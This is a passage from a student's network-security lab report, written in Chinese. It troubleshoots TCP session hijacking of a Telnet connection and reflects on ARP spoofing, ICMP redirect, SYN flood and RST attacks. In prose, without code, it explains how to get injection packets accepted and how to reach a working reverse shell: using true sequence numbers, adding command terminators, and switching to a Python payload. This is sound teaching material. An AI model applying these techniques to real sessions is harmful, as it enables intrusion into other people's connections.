解决办法是：在 Wireshark 中关闭相对序列号显示选项，改为查看真实序列号和确认号。关闭该选项后，再重新读取连接状态并构造注入报文，报文参数与实际 TCP 会话才能保持一致。

问题三：命令数据格式不完整，导致报文注入后没有预期回显

在最初使用 netwox 40 构造注入命令时，我把应用层命令简单地转换为十六进制后直接写入 --tcp-data 参数中，例如把 pwd、ls 等命令对应为十六进制字节流后直接发送。虽然从报文发送角度看没有报错，但目标端并未返回预期结果。

后来通过比对正常 Telnet 输入的抓包数据，我发现合法客户端在发送命令时，除了命令本身的 ASCII 数据外，通常还会在末尾附带回车等控制字符。在本实验环境中，若缺少相应的结尾字节，目标端并不会把注入内容当作一条完整命令处理。补上这些字节后，命令注入的成功率明显提高，能够正常带出命令执行结果。

这个问题说明：会话劫持中的“数据注入”并不是只要把命令文字发出去就行，还必须符合目标应用协议当前对输入格式的要求。 对 Telnet 这类交互式协议而言，控制字符、命令结束符以及报文发送时机都会影响最终效果。

问题四：反向连接命令多次失败，说明“命令能执行”并不等于“接管一定成功”

在完成基本命令注入后，我进一步尝试通过注入反向连接命令来实现更彻底的会话接管。实验中先后尝试了基于 bash、nc 的多种方式，但均未稳定获得预期结果。此时我最初怀疑是网络连通性或工具本身的问题，但后续分析发现，问题更可能出在目标环境差异上，例如目标系统对 /dev/tcp 的支持情况、nc 版本参数差异、当前 shell 解释能力以及命令本身与实验环境的适配问题。

在多次失败后，我没有继续停留在单一命令格式上，而是进一步确认了目标主机中 Python 运行环境可用，随后改用 Python 方式构造反向连接代码。最终该方式成功建立回连，说明前面的失败并不意味着 TCP 会话劫持本身失败，而更多是载荷与目标环境适配性不足导致的结果。

这部分排障经历让我认识到：会话劫持是否成功，可以分层判断。 能够插入命令并得到执行回显，已经证明劫持链条在传输层和应用层基本成立；至于最终是否能拿到交互式 shell，还受到目标环境解释器、工具版本和命令兼容性的影响。

小结

通过上述问题的解决，我对本次实验中的几个技术点有了更深理解：
一是要区分“监听成功”“注入成功”“接管成功”这几个不同层次；
二是要重视 Wireshark 等分析工具的显示机制；
三是构造伪造报文时不仅要关注 IP、端口和序列号，也要重视应用层数据格式；
四是在实验失败时，应优先从协议状态、工具显示、环境兼容性等角度逐步排查，而不是简单判断为“攻击没有成功”。

---

四、学习感想和体会

通过本次实验，我对 TCP/IP 协议栈中多个重要协议的工作机制及其安全缺陷有了比课堂理论更直观、更深刻的认识。过去学习 ARP、ICMP、TCP 时，我更多是从“协议功能”和“报文格式”的角度去理解它们，例如 ARP 用于地址解析、ICMP 用于差错控制、TCP 用于可靠传输。但本次实验让我真正意识到：协议设计中的很多机制，本质上默认了网络环境具有一定可信性，而一旦这种信任被攻击者利用，原本用于提高互联效率的机制就可能转化为安全风险。

在几个实验中，给我触动最大的是 ARP 欺骗和 TCP 会话劫持。ARP 欺骗看似只是篡改了一条局域网中的地址映射关系，但它实际影响的是后续所有通信数据的转发路径；一旦流量被引到攻击者主机，监听、篡改、断连、接管等后续攻击就都有了实现基础。也就是说，单独看 ARP 协议本身似乎只是链路层邻居解析问题，但从攻防角度看，它却可能成为整个攻击链的起点。

另外，Telnet 会话监听和会话劫持实验让我对“明文协议的危险性”有了极其直观的认识。以往在书本中看到“Telnet 不安全、应使用 SSH 代替”，这种结论更多像是一条经验规则；而这次实验中，当我亲眼在中间人位置看到用户名、密码以及后续交互命令时，这种风险就不再是抽象概念，而是非常具体、可观察、可复现的现实问题。更进一步，在会话注入和接管阶段，我也体会到所谓“攻击成功”并不是一句简单的结果判断，而是建立在对协议状态、连接同步、数据格式和目标环境适配等细节的准确把握之上。

本次实验还让我对“攻击链”这一概念有了更加系统的理解。以前我会把 ARP 欺骗、ICMP 重定向、SYN Flood、TCP RST、会话劫持看成几个彼此独立的实验项目；但在真正做完之后，我发现它们之间其实可以构成较清晰的逻辑联系：ARP 欺骗和 ICMP 重定向解决的是“如何改变流量路径”的问题，SYN Flood 和 TCP RST 展示的是“如何破坏服务可用性”的思路，而 TCP 会话劫持则体现了“如何在掌握连接状态后进一步控制通信内容”。这使我对网络安全中的机密性、完整性、可用性三大目标有了更整体的认识。

同时，这次实验也让我明白，网络攻防并不是单纯地“会用工具”就够了。真正困难的部分在于：当实验现象没有按预期出现时，能否根据抓包结果和协议原理去定位问题。例如本次实验中，相对序列号显示、命令结束符格式、反向连接载荷与目标环境的兼容性等问题，都不是简单照抄命令可以解决的，而是需要结合协议细节和实验环境不断调试。这个过程让我意识到，安全实验能力的核心不仅是复现结果，更包括分析问题、解释现象、修正方法的能力。

总的来说，本次实验让我从“知道协议”进一步走向“理解协议为何会被攻击、攻击为什么能成功、实际防御又该如何设计”。后续学习中，我希望继续加强以下几个方面：一是提升抓包分析与连接状态判断能力；二是系统学习常见协议的安全加固机制；三是从攻击现象反推防御措施，把实验中的每一次“成功攻击”都转化为一次对防护设计的反向思考。这样才能真正把网络攻防实验从“做过”提升到“做懂”。